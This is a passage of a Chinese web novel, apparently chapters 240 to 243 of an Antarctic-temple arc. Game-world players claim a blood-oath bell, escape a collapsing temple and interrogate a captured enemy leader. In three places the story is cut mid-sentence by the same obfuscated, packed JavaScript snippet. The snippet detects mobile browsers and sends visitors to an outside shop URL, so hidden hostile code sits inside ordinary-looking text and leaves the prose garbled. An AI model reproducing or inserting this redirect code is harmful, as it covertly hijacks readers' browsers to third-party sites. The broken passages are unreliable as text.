景明垂站在一旁,瞟了随歌一眼,冷冷丢下一句“有点眼力见吧”,就转身朝着神殿的方向走去。 随歌挠挠头,嘀咕了一句“奇怪”,也没深究,赶紧跟上。 四人艰难地翻过废墟。爆炸的威力确实恐怖,神殿大半已经深埋雪下。但当他们爬到废墟最高处时,发现竟然有一小片区域,奇迹般地幸存了下来。 正是之前那个有着黑色石板的圆形区域,以及中央那座石台。 这片区域像是被罩子保护了起来,周围的冰岩巨石都崩碎了,它却几乎完好无损,只有边缘处堆积了一些碎石块。 “我去……”随歌瞪大眼睛,指着那石台区域,“炸药是在这儿炸的吧?其他地方都他妈炸成糊糊了,这儿跟刚打扫过似的?见鬼了?” 初与序没说话。石台被几块较大的落石半掩着,她迈步朝那边走去,想绕到石台后方查看。 刚绕过一块半人高的焦黑巨石,就看见前方废墟中有两个人。 江意背对着初与序的方向,身上的冲锋衣有焦痕和鲜血,裸露的皮肤上全是伤口和淤青,但站姿依旧挺拔。他微微低着头,看着脚下。 屠宰场的首领仰面躺在血污中,脸上的黑色面具碎了一半,露出小半张苍白的脸。他双目紧闭,不知死活。 江意蹲下身,伸出手指,去探他的鼻息。 “意哥。”初与序走上去,“他还活着吗?” “还活着,暂时晕迷了。”江意皱了皱眉,站起身看向初与序,“借一下你的短刀。” 初与序没懂,低头看了看昏迷不醒的首领:“能不能先别杀他?我还有些事想问他。” 江意沉默了几秒,最终点点头同意了。 其余人也绕到了这里,看到地上昏迷的首领,景明垂没多问,控制着琴弦将首领的手腕反绑在身后。 “屠宰场其他人呢?”冬逢初问。 “五个确认死亡。”江意淡淡道,“两个在爆炸中心,尸骨无存。三个被后续崩塌的冰层深埋,窒息。”他看了一眼地上的首领,“这个……和我打到最后,失血过多晕迷。” 说完,他的目光落到一侧。顺着他的目光,四个人看见那片石台区域。 在石台上方半尺处,血誓铃静静地悬浮在那里。它没有在刚才那场爆炸中受损,也没有被之前屠宰场的矮个子带走,甚至自己回到了石台上方。 “铃铛成精了?”随歌上前一步,伸出手就试着把血誓铃摘下来。 一层半透明的屏障忽然浮现出来,将铃铛包裹住。屏障将随歌的手指挡在外面。 随歌缩回手,那屏障也随之黯淡,几近消失。 众人都看清了,在屏障正对外的位置,有一个向内凹陷的手掌印记。印记轮廓清晰,五指分明,像是有人曾经将手掌紧紧按在那里,留下了痕迹。 “这啥玩意?纳粹的手印?”随歌凑近看了看,看不出特别的什么,“难不成要我们去找个纳粹的尸体,把手剁下来按上去?” 四人:“……” 江意取出之前从海底沉船带出的船长日记,快速浏览。 [物品-07(血誓铃)具有初步灵性,需“认可”方能执掌。其外有“誓约之障”,留掌印者为证。掌印契合,屏障自消,铃铛归主。然,一铃一主,不可更易。] 他抬起头,看向众人:“日记里提到过。这屏障叫‘誓约之障’。留下手印,就是达成持有契约。简单来说,就是铃铛认主。手印契合,屏障消失,铃铛就归按手印的人所有,但一个铃铛只能有一个主人。” 其余四人闻言,习惯地齐刷刷向后退去一步,给江意留出道路。 然而,江意却摇了摇头。他看向初与序,道:“初与序,铃铛归你。” “……我?”初与序愣了一下,抬头与队长对视,但他的眼神里没有任何情绪,看不出他到底在想些什么。 还是那句话,江意能成为全服第一,并且持续好几年霸占第一名的位置,一定是有原因的。血誓铃这种有很大作用的道具,按理来说应该给江意,他能更好地控制。 初与序最终还是顺从地点了点头。她走到石台前站定,屏障再次微微亮起,显现出手掌印记。 她抬起右手,将手掌缓缓地按在了那个向内凹陷的掌印之中。 五指贴合,严丝合缝。 下一秒,屏障突然爆发出刺目的光芒!光芒顺着上面的纹路流淌,最后全部汇聚到她手掌按下的位置。接着,一股冰冷的能量顺着她的掌心涌入手臂,直达心脏! 血誓铃轻轻震了一下。 叮…… 只听一声清脆的铃音,屏障的光芒迅速消散。血誓铃不再悬浮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149965|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是缓缓地落了下来,坠入初与序的手掌心。 刹那,初与序眼前一黑。 周围的场景瞬间切换,冰冷神殿的废墟、飘雪的南极天空、同伴们的身影,全部消失。 取而代之的,是一片苍茫无垠的雪域高原。天空湛蓝,阳光刺目,寒风凛冽。远处,一座巍峨神圣,形似金字塔的雪山矗立在那儿,山顶积雪皑皑,反射着耀眼的金光。 冈仁波齐。 即使从未亲眼见过,初与序也很快认出了这座传说中的神山。 而她此刻,正站在一片冰封的湖泊边缘。湖面平滑如镜,倒映着雪山和蓝天。 在她前方不远处,一位身着深红色藏袍的法师站在那儿。他身形瘦削,面容被岁月和风雪刻满沟壑,一双眼睛却清澈深邃。他微微低着头,郑重地捧着一件东西。 那是一枚青铜铃铛。巴掌大小,表面粗糙,只有最基本的雏形,刻痕寥寥,远不如她手中那枚精致。但初与序一眼就认出,那就是血誓铃最初的模样。 冰湖之上,悬浮着几团无法用语言形容的物体。它们像是流动的光,又像是凝聚的雾,通体散发着幽蓝光芒。没有眼睛,没有口鼻。 它们就是日记中提到的“深海守护者”,或者说,南极冰层之下那个古老种族在千百年前的姿态。 法师抬起头,看向那些光雾般的存在。他的嘴唇微动,吐出一些音节,不是初与序所知的任何语言,但能看出来,法师是在请求着什么。 那些光雾微微波动,传递着信息。 最终,法师郑重地点头。他咬破自己的指尖,将一滴殷红的血,滴在青铜铃铛之上。鲜血迅速渗入青铜。 与此同时,那几团光雾也分离出一缕光丝,轻轻触碰在铃铛表面。 铃铛微微一震,表面那些刻痕竟开始缓缓延伸,变得更加复杂。 契约达成,法师将血誓铃捧在怀中,对着光雾深深一礼。光雾缓缓退入冰湖深处,消失不见。 画面破碎,重组,时间飞速流逝。 寺庙,诵经声,铃铛被供奉于佛前,一代代法师小心守护,增添禁制,完善刻痕,使其力量变得可控,却也更加危险。直到某一天,枪炮声打破宁静,硝烟弥漫,贪婪的目光盯上了佛前的铃铛…… 画面再转。 1945年,威德尔海,风雪交加的夜晚。 施瓦茨维尔特号船舱内,灯光昏暗。 初与序来到了舱室,几名德国军官和科学家围着一张桌子,桌上放着血誓铃。他们脸上混杂着狂热兴奋,在烛光的照射下显得阴森可怖。 几名衣衫褴褛的战俘被强行按在桌前,手腕被割开,鲜血滴向铃铛。 “不,不要!”一名战俘用德语嘶喊,“它会带来灾难!我听见了水下的声音……它们在愤怒!” 没人理会他。他的鲜血滴落在铃铛上,铃铛无声地震动起来。 初与序看见,鲜血滴落时,船舱的阴影里和墙壁上隐约浮现出无数痛苦的面孔,发出无声的尖啸。更深的海底,那些光雾生物被惊醒。它们的精神力量立刻穿透海水和船体,横扫而过。 船上的德国人开始尖叫,撕扯自己的头发,互相攻击,陷入疯狂。 船很快沉没,疯狂与死亡被冻结在深海。 画面渐渐淡去。 初与序又看到了后来的探险队。他们不同年代,不同国籍,但眼中闪烁着同样贪婪的光。他们接近沉船,试图打捞,或后来找到基地线索,试图深入神殿。 每一次,那些深海光雾都会做出反应。对所有心怀不轨的闯入者进行清理。 当血誓铃被心怀善意,尊重契约者持有时,它是信物,甚至可能带来沟通与庇护。当它被贪婪,恶意玷污时,它便成了灾祸的源头,唤醒沉睡的守护者,引来净化的怒火。 初与序站在原地,冰湖的风吹过她的脸颊,带着雪山的寒意和远古的气息。 她低下头,看向自己掌心已经认主的血誓铃。铃铛冰冷,隐隐传来一道跨越了千年的叹息。 眼前的雪域高原景象缓缓退去,南极刺骨的寒风重新将她拉回现实。 241.极地之下 初与序睁开眼。 她还站在石台前,手中握着血誓铃。冬逢初、江意、景明垂、随歌都围在附近,担忧地看着自己。 【系统提示:恭喜各位玩家成功获得道具“血誓铃”,并查明“施瓦茨维尔特号”事件真相。】 【警告:因契约之物被移动,南极神殿遭到破坏,开始进入崩塌状态。“深海守护者”感知到契约失衡,已被彻底激怒。请所有玩家在一小时内,立刻撤离神殿区域,与向导NPC埃文·约根森汇合,并安全返回“新希望站”。超时未撤离者,将面临“深海守护者”的无差别攻击。】 下一秒,只听“轰隆”一声,地面猛地传来一阵剧烈的震动!有什么庞然大物从冰层下方,狠狠地向上撞击! 石板隆起,裂缝中散发出刺目的光芒,整个神殿都在疯狂摇晃,更多碎石从上方崩塌坠落。 “我靠!有东西要出来了!”随歌被吓了一跳。 话音刚落,石台附近的地面被一股巨力整个向上顶起,被先掀飞至半空中! 一个巨大的生物从地面大洞中,缓缓探出了一部分,填满了整个神殿的上半部分空间。 那是一个散发着光芒的巨影。光芒太过耀眼,没办法看清它的具体形态,它没有眼睛,但当它转向下方五人时,五人还是感受到了一股强大的压迫感,压得人喘不过气。 暴风雪从它顶破的大洞中疯狂灌入,在它周身的光芒中旋转飞舞。 随歌下意识脱口而出:“我操,铠、铠甲勇士?!” 景明垂一把拽住他往后拖:“什么铠甲勇士?快跑啊!” 直到这时,其余几人才猛地反应过来,转身就拔腿狂奔。身后的庞然巨影,微微转动了一下头颅。 然后,一声低沉的嗡鸣以它为中心,轰然扩散开来。所过之处,都开始粉碎。 初与序脚步忽然猛地一顿,回头看向石台。被琴弦绑住的屠宰场首领还靠在那里,正被不断落下的碎石掩埋。 “有什么办法能带走他?”初与序连忙问道。首领是长生者,也知道很多曾经的事,暂时留下他的命,一定有用。 景明垂飞快地从面板里拿出一个束口袋,将袋口对准首领,低喝一声:“收!” 首领的身体瞬间消失不见。 景明垂系紧袋口,将袋子塞回面板,解释道:“乾坤袋,以前副本的奖励。活物能撑一段时间,但久了会闷死。出去再处理。” 说完,她已经率先朝着出口冲去。 初与序将血誓铃收回面板。五人重新开始亡命狂奔。 脚下是颠簸的石板,头顶是砸落的碎石。身后那低沉恐怖的嗡鸣越来越近,震得人耳膜刺痛,气血翻腾。 随歌正闷头猛跑,正上方突然传来一声“咔嚓”。他猛地抬头,就看见头顶上方一块巨大的岩石,正摇摇欲坠! “我操!”随歌魂飞魄散,想躲,脚下却是一滑! 千眼看着岩石就要坠落将他砸得稀巴烂,江意猛地抬手,反向重力场作用在巨岩下方。巨岩下坠悬在半空,发出嘎吱声。 这块岩石明显太重了,使用重力场,使用者也会承受一半的重力。江意皱了下眉,嘴角溢出血丝。 景明垂的身影掠过,金色琴弦一卷,精准地缠住随歌的腰部,将他向侧面一拽:“这边走!” 随歌被扯得一个趔趄,滚倒在地,恰好避开巨岩下方。 江意撤去重力场,巨岩砸落,将他们原本的前进路线堵死,溅起漫天烟尘冰雪。 “意哥!”随歌爬起来,看到江意苍白的脸。 “我没事,快走。”江意抹去血迹,指向巨岩侧面的道路。 身后,嗡鸣声和崩塌声越来越密集,光芒几乎要追上他们。 又拐过一个弯道,前方终于出现了久违的灰白天光,以及呼啸的暴风雪。五人冲出废墟的最后一段斜坡,重新踏入南极冰原的风雪之中。冰冷的空气灌入肺部,带着劫后余生的刺痛。 不远处,一道佝偻的身影朝着他们拼命挥手。 埃文脸上满是焦急,在看到他们五人时眼睛亮了一下,随即又被忧虑取代。他指向身后冰原上一个坡地:“快!这边!离开这里!它们彻底醒了!” 他显然知道神殿里发生了什么,也知道那“深海守护者”被激怒意味着什么。 五人立刻朝着埃文指引的方向跑去,埃文也转身,在前面带路,不时回头确认他们跟上。 寒风像刀子一样割着脸,脚下深雪没膝,每一步都异常艰难。 身后,神殿方向的巨大声音逐渐被风雪掩盖。又跑出一段距离后,回头望去,只能看到那片区域上空弥漫着一片幽蓝色的光晕,像极光。巨响和嗡鸣彻底听不见了。 奔逃中,偶尔能感觉到冰层下方传来震动。像是有什么东西在冰海巡行。偶尔,某个模糊的阴影轮廓,一闪即逝。 不知道跑了多久,前方风雪中,终于出现了新希望站。 埃文扑到门前,哆嗦着手掏出钥匙,插了好几次才对准锁孔,用力拧开:“快!进去!” 他侧身让开,让五人进入,然后自己最后一个闪身进来,用尽力气,“砰”地一声关死了门。 门内,暖气扑面而来。等几人缓了一会,景明垂重新取出乾坤袋,随歌凑过来,盯着袋子问:“这家伙怎么处理?别闷死了吧?” “应该还有气。”景明垂看向初与序,“就在这里问?” 初与序摇头,看向窗外的暴风雪:“去阁楼。这里水汽重,冰也多,他容易借力。” 景明垂没再多问,将袋子递到初与序手里。袋子入手轻,不说没人知道里面还装了个大活人。 初与序接过,站起身,取出通行卡。下一秒,她连同手中的袋子,从新希望站消失。 今天的阁楼寒冷,像是染上了南极的酷寒。墙壁上甚至结着一层白霜,呼吸带出清晰的白气。初与序的身影在炉火旁显现。她将手中的乾袋对准面前一小片空地。 袋口微光一闪,紧接着,首领便凭空出现,落在墙角。他整个人蜷缩着,手被琴弦绑在身后,双目紧闭,气息微弱。 初与序上前一步,在首领面前蹲下,伸手揭下了他脸上的面具。 面具下的脸暴露在炉火光晕下——首领的左侧脸颊有一小片烧伤疤,眉眼凌厉,眉峰如刀,即使闭着眼,也透着阴鸷。 这张脸上陌生,却又带着熟悉感。 就在这时,地上的人,睁开了眼睛。 炉火的光恰好跳跃着落入他的眼底。初与序看见首领的瞳孔是海水般的墨蓝色,映着火光,眼底一片沉静。 初与序平静地回视着这双眼睛:“你没昏迷。” 首领靠坐在墙角,微微点了下头,没有否认,轻轻颔首。接着,他那双被琴弦死死捆住的手腕,忽然猛地向内一折。只听一声崩裂声,琴弦竟应声而断。 断裂的琴弦垂落下来。首领活动了一下手腕。他撑着身后的墙壁,调整了一下坐姿,让自己靠得更舒服些,墨蓝色的眼睛始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155264|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终没有离开初与序的脸。 接着,他缓缓扫视了一圈阁楼,平静道:“我还以为我不会再来这儿了。” 初与序起身,在沙发上坐下,问:“你不担心我们在神殿就杀了你?” 首领扯了扯嘴角:“不担心,你有问题要问我,不会现在就杀了我。” 初与序道:“我以为你会说,我们杀不死你。” “这可说不准。”首领摇了摇头,随后抬起手,点了点自己左侧脸颊上的烧伤疤,“我还被你放火烧过呢。你要是想,真的能杀了我。” 初与序侧了侧头,露出自己脖颈的疤:“你是什么时候来阁楼偷袭的我?” “这都几千年前的事了。”首领回忆起来,“大概是第一代永冬之城,你和冬逢初消失后不久。” “当年你杀的人,不是现在的我。”初与序说。 首领点了点头,干脆道:“我知道啊。” “你和那个人不一样,至少眼神和气息不一样。” 初与序没说话,只是用眼神示意他继续。 首领靠在墙角,不打算隐瞒:“当年,你和冬逢初消失不见,就像人间蒸发,系统档案都查无此人。屠宰场分成了三批,一批留在永冬之城,继续给江意他们找麻烦,干扰他们查探。第二批和第三批负责找到你和冬逢初,找你的第二批由我带队。” “我们几乎把所有已知副本翻了一遍,期间你们俩也不是完全没影子。有队员偶尔在某个S级副本看到了和你身形一样的人,一闪而过,像阵风,眨眼就不见了。但没人再见过冬逢初,一次都没有。他是真的消失了。” “后来,为了完成某个任务,我去了永冬之城的别离山。那天也是雪纪周,大雪,能见度很低。就在别离山的山顶,我隔着雪幕,看到了你。” 他的描述变得具体起来: “长发,比你现在的头发还要长一点。穿着一件很薄白衬衫,啊对,就是你现在里面穿的那件。在那种暴风雪天气里,我都怕你冻死。不过耳朵上没戴耳夹通讯器,也没拿武器。她在和身边一个人说话。” 首领停顿了一下,墨蓝色的眼底闪过疑惑,似乎至今仍觉得那场景有些怪异: “仔细一看,和她说话的,竟然是上周在副本里死亡的安楚——就是那个和向枝冥关系不好的安楚。他当时穿着一身蓝色的制服,有点像后来那些管理员的款式。听不清他们在商量什么,但脸色都不太好,一直往车站的方向看。雪太大,他们没注意到我们这边。” “我打算偷袭,先制住再说。” 他看向初与序:“你一看到我,反应很快,立刻就让安楚先走。安楚看了我一眼,转身就消失在雪里了。” “当时的你,看着比以前虚弱很多。”首领淡淡道,“不过身体没受伤,是精神层面的,很疲惫。你没选择在原地和我打,转身就跑。” “我一路追,就追进了一个副本。那个副本里有这个阁楼。我在阁楼里找到了她。” “接着你知道的,我偷袭了她。她倒下后,我探了探鼻息,当时没感受到气息。我他妈哪能想到,一个被捅了颈动脉的人还能活下来?确认没气,我就走了。” “结果你还真活下来了。” 初与序沉默地思索了一会儿,问道:“你在永冬之城第一代期间,有没有看到过另一个穿着病号服的‘我’,性格和第二代时的初与序一样?” 首领摇头,肯定道:“没有。第二次来永冬之城的你,我也是在那时才见到。” 242.极地之下 首领抬起手,敲了敲身后的墙壁:“现在有些东西,是永冬之城第一代时没有的。我第一次来这阁楼时,墙上干干净净,就是普通的白墙。这些打了马赛克的纸是后来才出现吧?” 他看向初与序:“你们有试过看清上面写了什么吗?” 初与序点头:“试过。但找不到去除马赛克的方法。” 首领道:“那当时的你,到底被谁救下?又在这阁楼里干了些什么?” 他问这些话,也只是随口一说,没指望初与序回答。但初与序却不假思索道:“不论是什么时候的我,做了什么事,目的都一样。不出意外,这几面墙上贴着的便是回到现实的计划方案。” “你不觉得怪吗?”首领勾起唇角,“难道你们一直以为,这阁楼是独立的存在?你们在这里做任何事,妄主都发现不了?为什么你遇见的大多数副本和线索,都在向你传递‘永冬之城存在时间循环’的信息?就连江意都是靠着自己一次次轮回,慢慢摸索才确认的。而我们屠宰场,甚至很多普通玩家根本接触不到这些。这难道是巧合吗?” 他目不转睛地盯着初与序: “初与序,你很聪明。我清楚你早就明白这一点了——有人在刻意引导你发现循环,甚至可能是妄主本人。但你一直不说,为什么?因为只要说出口,事情就会变得更糟。” 初与序平静地与他对视,很轻地点了下头,坦然承认:“你说得没错。” 这坦然的承认,反而让首领沉默了片刻。 “但这不是你做事的风格。”首领说,“我认识的你不是这样。无论在现实,还是在永冬之城。” “什么叫,你认识的我?”初与序说,“我们俩很熟吗?” 在初与序的记忆里,她和这位屠宰场首领谈不上熟悉,一见面就你死我活打打杀杀。他能说出“我认识的你”这种话,才是更奇怪的。 但在首领的视角,在还没有永冬之城的现实世界里,上面的人就甩给他一叠厚厚的资料,命令盯着资料上的女孩。这一盯,就是五年。从初与序被送入寄养家庭,到被关进善佑医院,再到医院被他们背后的势力渗透控制,最后到她高考结束。 后来,他自己也被安排进入永冬之城,又是几千年。 起初他烦都烦死了。一个小姑娘,瘦得他一只手就能捏死,都关进精神病院了,还能捅出多大乱子?估计连成年都活不过。 但慢慢地,接触多了,他发现初与序可能没他想象的那么弱。 真正改变他想法的,是后来在永冬之城的追杀中。初与序被屠宰场逼入绝境,身边队友或伤或散。就在他以为能完成任务时,初与序回头看了他一眼—— 紧接着,她和冬逢初竟然引爆了所有能引爆的东西,并精准地点燃了屠宰场当时最重要的一个物资点。冲天的火焰吞噬了大半个据点,她自己也被爆炸重创,却硬是在他眼皮底下消失在了火海之中。 首领是万万没想到,一个那么怕火的人,反而是最喜欢用火的。 那一次,屠宰场损失惨重,休整了整整三个月。等他们重整旗鼓,初与序和冬逢初却在第二天失踪了。 所以,首领问出“我认识的你,不是这样”,没啥毛病。 他耸了耸肩:“我认为按你的性子,你会直接把被区别对待这一点摆到明面上,和你的队友一起解决。哪怕揭开这层纸,可能会导致所有人丧命。” 初与序靠在沙发上,窗外暴风雪的白光在她眼底流转。她静静地看着首领,轻描淡写道:“可我不想再失去任何人。” “你年纪还小,重感情很正常。”首领转开脸,不再看她,“但在这里不是什么好事。” 初与序没接这个话题,转而问:“你是什么时候发现的?” “从听到几个月前你在讨论会上的发言开始。”首领道,“妄主清楚你们的意图,却不下来干扰。或许真如你当初说的,祂是在善佑医院逼迫下建立起永冬之城,自身也被困住,无法解散,只能依靠你来达成目的,暗中给予你提示。” 他顿了顿,墨蓝色的眼睛看过来:“那么在你们的计划里,最后一步,就会简单很多。” 这傻逼竟然把他们的计划摸透了。初与序没接话。 窗外暴风雪加剧,雪粒砸在八角窗上发出砰砰声。初与序站起身,走过去将有些松动的窗栓重新扣紧。她背对着首领,问:“可她为什么相信我一定能成功?” 首领随口道:“谁知道?可能祂信任你,就像你信任冬逢初一样。” 接着他也从墙角站了起来,从面板里取出一个小型照相机。 “我有一个道具,”首领将相机握在手里,“对着某个场景拍一张照,就能从照片里看到那里曾经发生过的事件。试试吧。” 他后退几步,举起相机,镜头对准阁楼,按下了快门。 “咔哒”一声,紧接着,一张照片从相机底部缓缓吐了出来。首领拿起照片,初与序也走了过来,低头看去。 照片上不是阁楼,是一场暴雪。白色的雪沫占满了整个画面。 “暴雪?”首领问,“什么意思?” 初与序没说话,忽然她伸出手,轻轻点在照片中那片暴雪的中心。 下一秒,两人周围的景象开始急速变化。墙壁上的马赛克纸张消退,陈旧的颜色变得鲜亮,炉火熄灭又燃起火焰。一切都在飞快地向后倒流,最终定格在一个相同但崭新的阁楼里。 在他们前方的地板上,倒着一个人。 光线太暗,那人又倒在阴影深处,一时间看不清脸。 接着,地上的人动了一下。她捂着自己的脖颈,鲜血从指缝间汩汩涌出,另一只手撑着地面,从地上爬坐起来。 这个动作让她从阴影里挪出了一点,蜡烛的光终于照亮了她的脸。 是初与序,准确来说,是初代永冬之城的“初与序”。 首领看了一眼她捂住的伤口,淡漠地说:“原来当年我没捅对地方,没捅到颈动脉。难怪你还能站起来。” 初与序扫了他一眼,总觉得和一个差点要了自己命的仇人站在一起谈话,很诡异。 “初与序”没看到两人,或者说是看不见。她独自强撑着剧痛,来到抽屉前,拉开抽屉取出绷带,胡乱地缠住脖颈上的伤口,强行止血。 这一幕看得首领有些懵:“当初……救你的是你自己?” “不一定。” 从出血量看,她脖颈的伤口极深。凭初与序这种只会倒酒精缠绷带的医疗技术,根本不可能止血。在当时的情况下,她不能返回永冬之城医院,独自一人也无法找到安全的养伤。她能活下来,只有可能是有人救了她。 但能在那个时候知道阁楼的存在,并且有能力及时赶到,会是谁? 首领转过头,道:“你在想冬逢初吧?”他顿了顿,“我反而觉得救你的不是他。” 初与序轻飘飘地和他对视一眼,没接话。 这时,“初与序”动了。她意识到血止不住,来到门前,猛地推开了门。 之前阁楼里,这扇门似乎上了锁,永远推不开。这次,初与序才看到了门外的场景。 门外是一片一望无际的雪原,天空是低沉的灰白,地面覆盖着厚厚的积雪,反射着冷寂的天光。 “初与序”踏入雪地。鲜血很快在她身后拖出一条红色痕迹,在纯白的雪地上格外扎眼。 她朝着某个方向,踉跄地走了几步后忽然停下,像是实在支撑不住了,身形轻轻一晃,向前栽倒下去,双膝跪进雪里,强撑着没彻底倒下。大片大片的鲜血涌出,瞬间染红了她面前一大片雪地。她张着唇想喘气,却猝然呛出一大口血,喷在雪地上。 首领走上前看着她,脸上没什么表情。而初与序却不知道为什么,一直没有去看她,而是打量着四周的雪原。 忽然,下起了大雪。 不是南极的暴风雪,雪下得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155265|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很安静,很大。鹅毛般的雪片洋洋洒洒地飘落,没有风,气温也没有下降。这场雪仿佛只下在这片区域,带着一种不真实感。 直到这时,初与序才终于从雪原上移开目光,缓缓落回到那个跪在雪地里的人影上。 然后,在两人,或者说三人的面前,有一块空地没有下雪,雪花自动避开了那一块区域。 紧接着,无数亮晶晶的雪花从四面八方朝着那片空地汇聚,慢慢汇聚成一个瘦削的人形。 过了一会儿,覆盖在人形上的雪片开始消散,与此同时,大雪也肉眼可见地小了下去。 站在那片雪地上的人,缓缓睁开了眼睛。 她先是抬起一只手,用手背遮在眼前,适应了一会儿这片无边无际刺眼的苍白。然后才放下手臂。 初与序看清了她的样子。 十四五岁的模样,身上穿着蓝白条纹的病号服。脖颈上干干净净没有疤痕,右耳上也空空如也没有耳夹。她的脸色是一种久不见阳光的苍白,带着刚睡醒的不耐。 初与序站在原地,有些错愕道:“初一……?” 这是她第二次亲眼看到初一。第一次,是在之前记忆碎片里的雪原宫殿中。 首领站在一旁,笑道:“老熟人啊。她之前可杀了我好几个手下呢。原来是由一场暴雪造出来的,怪不得穿这么少也不冷。” 他转过头看向身边的初与序,嘲讽几句:“没想到,十四岁的你是这种够吊儿郎当的性子。拽得二五八万,有点像街溜子。” 初与序下意识地看了一眼初一。初一双手插兜,站姿松松垮垮没个正形。脸上写满了“困死了这他妈什么鬼地方”,离小混混就差叼根烟了。不过当时的她是会抽烟了,现在没叼烟,可能单纯只是身上没带烟盒。 ……初与序默默移开目光。 十七岁之前的自己确实就是这副德行。在大部分大人面前装得乖,背地里吊得上天,不然也做不到防火把养父母的别墅烧了一半。她这种性格,除了曾经和她相处过两个月的景明垂(可能也还有冬逢初),也没人知道。 后来离开善佑医院,她的性格就慢慢变成了现在的样子。除了永冬之城前几次循环对现实的她有一些影响,还有一点——初母应该快回国了。不然她的养父母也没这么好心,在她十七岁时把她从善佑医院接出来上学,备战高考。 初一平静地打量了一下雪原,对自己突然从善佑医院来到这鬼地方并不惊讶,只有“又有麻烦事了”的认命感。 然后她垂下眼,看向自己面前的“初与序”。 “初与序”似乎并未料到会出现一个小时候的自己,她掀起眼皮,看向初一。 初一伸出一只手,没什么顾忌地抬起“初与序”的下巴,接着弯腰凑近了些,查看她脖颈上的伤口。“初与序”并没反抗,也许是没了力气,顺着她的动作抬起头。 初一“啧”了一声:“这谁搞的?长大的我这么弱吗?” 接着,她抬起另一只手。手掌摊开,掌心上浮现出一圈银蓝色的光晕。 初一自己也对这突然出现的能力感到陌生。她先是不太熟练地对着空气挥了挥手,银蓝光晕随之流淌。适应了几秒后,她才将手轻轻笼罩在“初与序”脖颈的伤口上。 银蓝色的光晕浸润到伤口处,鲜血流动的速度立刻减缓,伤势明显缓和了一些。 忽然,“初与序”将一张地图塞进了初一空闲的那只手里,紧接着,她的身体便一软,向下倒去,被初一下意识伸出的胳膊接住。 初一腾出手,将地图展开。她低头看了几秒,又抬头望向雪原尽头,脸色一黑。 “倒大霉了。”她扯了扯嘴角,“我要把你从这鬼地方,拖到那么远的宫殿去?” 她低头看了一眼“初与序”,认命般地叹了口气,将“初与序”背起来。 回忆录到此,开始变得模糊。直到影像彻底消散,阁楼恢复成他们进入时模样。 243.极地之下(完) 初与序想了想,开口道“少一个人。初一,我,还有从阁楼里活下来的第一代‘初与序’。那她现在在哪?” 首领站在她身后,没有说话。几秒后,他忽然低低笑了一声。 “这是你的问题,初与序。”他缓缓道,“我就不多奉陪了。” 下一秒,一道寒气从初与序身后劈来!初与序没有回头,脚下一滑,稳稳躲开。她手腕一翻,冰蓝短刃出鞘,反手就朝寒气袭来的方向砍去。 短刃与一片六角形冰晶撞在一起。冰晶应声碎裂,化作冰碴。 首领的身影在冰晶碎裂的雾气后显现,他不知何时已退开两步,看着初与序:“反应还是这么快。 话落,他双手交叠,周围的寒气开始向他掌心汇聚,最终变成几枚细长冰锥,悬浮于空,锥尖齐齐指向初与序。 “你现在杀不了我。”首领透过冰锥看着初与序,“我也没打算在这里和你分生死。账,以后有机会再算。” 说完,他握住虚空的双手猛地向两侧一拉! 那些悬浮的冰锥瞬间调转方向,齐齐射向他自己的身体。如同水滴融入大海,那些冰锥直接没入他的身体。紧接着,他的身体开始变得模糊。 初与序没有上前阻拦,只是静静看着。 首领的身体在几秒钟内融化,成为一摊液体,渗入木地板缝隙,消失得无影无踪。 初与序看了看地板缝隙里那点薄冰,面无表情。她手腕一转,收起短刀。然后拿出那张通行卡,微光闪过,从阁楼中消失,重新回到新希望站。 炉火正旺,驱散着外面的严寒。另外四人立刻围了上来。 景明垂道:“怎么样?首领呢?” 初与序淡淡道:“跑了,但该问的都问到了。” “跑了?!”随歌跳起来,“这还得了?他会不会藏在附近,等着再偷袭我们?!” “不会。”江意抬眼,平静道,“他活不过今晚的。他的命,有人收了。” 【恭喜各位玩家成功通关副本《极地之下》。】 【你们追随着八十年前贪婪,踏入了南极。你们目睹了被夺掠的圣物,聆听了极地之下守护者跨越千年的叹息。】 【因你们的行动,南极神殿彻底崩塌,沉入冰层。南极威德尔海域的异常能量逐渐平缓,那些曾被过度惊扰的存在,将重归深海的宁静。纳粹遗留的罪恶痕迹,与后来者无休止的贪欲,一同被埋葬于亿万冰雪之下。】 【向导埃文·约根森,这位见证了太多死亡与执念的守墓人,终于在冰原边缘目送又一批访客带着真相与契约之物离去。或许,这将是他守护使命的终结,也或许,是另一段故事无声的开端。】 【本次副本奖励已发放到各位玩家面板,可打开查看。】 【冰海的寒潮,涤净过往的罪孽。新生的契约,指引未来的道路。】 江意伸手,推开大门。风卷着雪沫灌进来,灰白色的天光下,D019次列车静静地停在远处。 该走了。 